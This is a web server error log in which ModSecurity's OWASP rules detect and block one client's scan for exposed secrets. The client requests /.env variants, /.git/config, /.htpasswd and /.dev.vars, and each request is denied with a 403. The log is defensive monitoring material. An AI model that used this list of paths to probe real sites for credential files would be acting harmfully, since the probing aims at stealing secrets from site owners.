[Sun Oct 25 16:35:25.866262 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at5oDbgKC8DPM1idVOQukgAAAA8"]
[Sun Oct 25 16:35:25.866349 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at5oDXWAJkvYyuEsFoLIQAAAABc"]
[Sun Oct 25 16:35:25.866541 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at5oDXWAJkvYyuEsFoLIQAAAABc"]
[Sun Oct 25 16:35:25.866542 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at5oDbgKC8DPM1idVOQukgAAAA8"]
[Sun Oct 25 16:35:25.866762 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at5oDXWAJkvYyuEsFoLIQAAAABc"]
[Sun Oct 25 16:35:25.879543 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at5oDWFV96rJYXEkIA1oIgAAABk"]
[Sun Oct 25 16:35:25.879689 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at5oDWFV96rJYXEkIA1oIgAAABk"]
[Sun Oct 25 16:35:25.879922 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at5oDWFV96rJYXEkIA1oIgAAABk"]
[Sun Oct 25 16:35:25.883407 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at5oDXWAJkvYyuEsFoLIQQAAABc"]
[Sun Oct 25 16:35:25.883627 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at5oDXWAJkvYyuEsFoLIQQAAABc"]
[Sun Oct 25 16:35:25.883863 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at5oDXWAJkvYyuEsFoLIQQAAABc"]
[Sun Oct 25 16:35:25.885107 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at5oDcQLj3BHFe0xVVDO3gAAAAU"]
[Sun Oct 25 16:35:25.885282 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at5oDcQLj3BHFe0xVVDO3gAAAAU"]
[Sun Oct 25 16:35:25.885543 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at5oDcQLj3BHFe0xVVDO3gAAAAU"]
[Sun Oct 25 16:35:25.926078 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5oDbgKC8DPM1idVOQukwAAAA8"]
[Sun Oct 25 16:35:25.926214 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5oDbgKC8DPM1idVOQukwAAAA8"]
[Sun Oct 25 16:35:25.926426 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5oDbgKC8DPM1idVOQukwAAAA8"]
[Sun Oct 25 16:35:25.956003 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5oDWVLMQvPe13-2XNXYAAAAAY"]
[Sun Oct 25 16:35:25.956219 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5oDWVLMQvPe13-2XNXYAAAAAY"]
[Sun Oct 25 16:35:25.956472 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5oDWVLMQvPe13-2XNXYAAAAAY"]
[Sun Oct 25 16:35:26.054138 2026] [authz_core:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/recursos2/.htpasswd
[Sun Oct 25 16:35:26.441016 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos2.sherwinpinturas.com"] [uri "/.dev.vars"] [unique_id "at5oDsQLj3BHFe0xVVDO4wAAAAU"]
[Sun Oct 25 16:35:26.441055 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos2.sherwinpinturas.com"] [uri "/.dev.vars"] [unique_id "at5oDsQLj3BHFe0xVVDO4wAAAAU"]
[Sun Oct 25 16:35:26.574882 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5oDv3ebQuInVpw1e8OGgAAAAI"]
[Sun Oct 25 16:35:26.575110 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5oDv3ebQuInVpw1e8OGgAAAAI"]
[Sun Oct 25 16:35:26.575402 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5oDv3ebQuInVpw1e8OGgAAAAI"]
[Sun Oct 25 16:35:26.604598 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5oDmFV96rJYXEkIA1oJwAAABk"]
[Sun Oct 25 16:35:26.604837 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5oDmFV96rJYXEkIA1oJwAAABk"]
[Sun Oct 25 16:35:26.605122 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5oDmFV96rJYXEkIA1oJwAAABk"]
[Sun Oct 25 16:35:26.624554 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5oDsQLj3BHFe0xVVDO5AAAAAU"]
[Sun Oct 25 16:35:26.624710 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5oDsQLj3BHFe0xVVDO5AAAAAU"]
[Sun Oct 25 16:35:26.624936 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5oDsQLj3BHFe0xVVDO5AAAAAU"]
[Sun Oct 25 16:35:26.651898 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5oDsQLj3BHFe0xVVDO5QAAAAU"]
[Sun Oct 25 16:35:26.651902 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5oDhP9LBTwM7uyBGcGHwAAAAM"]
[Sun Oct 25 16:35:26.652119 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5oDsQLj3BHFe0xVVDO5QAAAAU"]
[Sun Oct 25 16:35:26.652120 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5oDhP9LBTwM7uyBGcGHwAAAAM"]
[Sun Oct 25 16:35:26.652384 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5oDsQLj3BHFe0xVVDO5QAAAAU"]
[Sun Oct 25 16:35:26.652397 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5oDhP9LBTwM7uyBGcGHwAAAAM"]
[Sun Oct 25 16:35:26.670539 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHAAAAEU"]
[Sun Oct 25 16:35:26.670710 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHAAAAEU"]
[Sun Oct 25 16:35:26.670957 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHAAAAEU"]
